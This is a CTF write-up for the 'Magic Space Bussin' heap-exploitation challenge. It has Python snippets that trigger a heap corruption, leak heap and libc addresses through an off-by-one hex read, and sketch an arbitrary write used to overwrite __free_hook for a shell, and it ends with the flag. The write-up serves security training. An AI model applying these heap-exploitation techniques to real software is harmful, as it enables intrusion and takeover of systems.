# Magic Space Bussin

## Task

* Category: Pure Pwnage
* Points: 183
* Solves: 16

Description:

I hate embedded SWEs. Always talking about how you should preallocate all the memory you need in the data section if you’re using a bus. This isn’t the 90s anymore. The heap is bussin fr fr.

Don’t trust me? Fine. You’re more than welcome to test my spacebus implementation.

Attachements:

* magic\_public.tar.gz

## Solution

The challenge implements a message bus with two clients, startracker 1 and 2. We can post a message on the bus, or let the startracker handle their messages. The protocol is fairly simple, the first byte of a message is the msg\_id the second byte is the pipe\_id, the third bytehex tells whether the payload is in hexadecimal or not and the rest is just the payload.

msg\_id just tells the client which message type the payload has. There are:

TEST\_MSG=100,  
 GET\_STARS=101, // NOT IMPLEMENTED UNTIL TESTING COMPLETE  
 NUM\_STARS=102, // NOT IMPLEMENTED UNTIL TESTING COMPLETE  
 BRIGHTEST\_STARS=103, // NOT IMPLEMENTED UNTIL TESTING COMPLETE  
 RESET=104, // NOT IMPLEMENTED UNTIL TESTING COMPLETE  
 CALIBRATE=105, // NOT IMPLEMENTED UNTIL TESTING COMPLETE  
 QUATERNION=106 // NOT IMPLEMENTED UNTIL TESTING COMPLETE

(from startracker.h) But only TEST\_MSG is implemented, which echoes the payload as a hex sequence. pipe\_id allows us to specify the target, 0x00 for startracker 1, 0x01 for startracker 2 and 0xFF to send to all clients.

From looking at the source code and some experimentation we noticed some bugs quite fast, but they weren’t that useful, for example if you send 11 valid messages with the pipe\_id set to 0xFF on the bus, you get

free(): double free detected in tcache 2

Therefore, we just fuzzed it until we had a crash that looks interesting. After a few crashes, a

free(): invalid pointer

caught our attention, at this time we already had a python script to interact with the bus and were able to reproduce the crash using this code

for i in range(2):  
 post\_message(TEST\_MSG, 0xFF, False, b"N"\*0xf11)  
  
for \_ in range(2):  
 handle\_startracker\_1\_messages()  
  
post\_message(TEST\_MSG, 0xFF, True, b"P"\*(0x61))  
  
handle\_startracker\_1\_messages()  
  
for i in range(3,10):  
 print(i)  
 post\_message(0x34, 0x34, True, b"1"\*(0x10\*i+1))  
  
post\_message(0x34, 0x34, True, b"0"\*(0x61))

The next thing we needed was a heap leak, this was possible by sending a TEST\_MSG with the hex flag set, but sending 2n+1 characters. This allows us to override the terminating null byte and thus leak the content after the payload on the heap. Therefore, it’s quite easy to get a heap address leak like so:

post\_message(TEST\_MSG, 0x0, True, b"P" \* (0x61))  
  
handle\_startracker\_1\_messages()  
p.recvuntil(b"StarTracker: Testing Message")  
p.recvline()  
data = p.recvline()  
leak = b"".join([p8(int(x, 16)) for x in data.split(b" ")[:-1]])  
heap\_leak = u64(leak[80:][:8])  
  
print(hex(heap\_leak))

For a libc leak we just have to send and then free a large chunk and use the same bug to get a pointer into the main arena.

# create and free large chunk  
post\_message(TEST\_MSG, 0x0, False, b"P" \* (0x400))  
handle\_startracker\_1\_messages()  
  
# oob leak libc\_main arena  
post\_message(TEST\_MSG, 0xFF, True, b"P" \* (0xc1))  
handle\_startracker\_1\_messages()  
  
p.recvuntil(b"StarTracker: Testing Message")  
p.recvline()  
data = p.recvline()  
leak = b"".join([p8(int(x, 16)) for x in data.split(b" ")[:-1]])  
heap\_leak = u64(leak[120:][:8])  
print(hex(heap\_leak))

We figured out the required lengths by trial and error.

The rough idea for the rest of the exploit was: - leak heap address - leak libc address - get arbitrary write - overwrite \_\_free\_hook - get shell

So we just had to get an arbitrary write, but how? Actually I don’t know anymore, all I can remember was that I sat there for another 9 hours until 10 AM and then had an arbitrary write, the rest was straight forward. I think the solution was to overwrite the prev\_size of a chunk, mark it as !prev\_inuse backwards consolidate with a fake chunk, somehow making the allocator think that the tcache is now freed, allocate inside tcache and make it do an allocation at an arbitrary address. Maybe you can explain my exploit to me and tell me which house this is. :upside\_down:

Flag: flag{golf225358juliet4:GJLArHWczQc6Ly-Z6DiwwEK3xG3gPGkx3ozaRzSKVseTHk3Vhxl6mm\_5XoS0bj4s1dAdX2TdhI9CGwz0Kuckf\_0}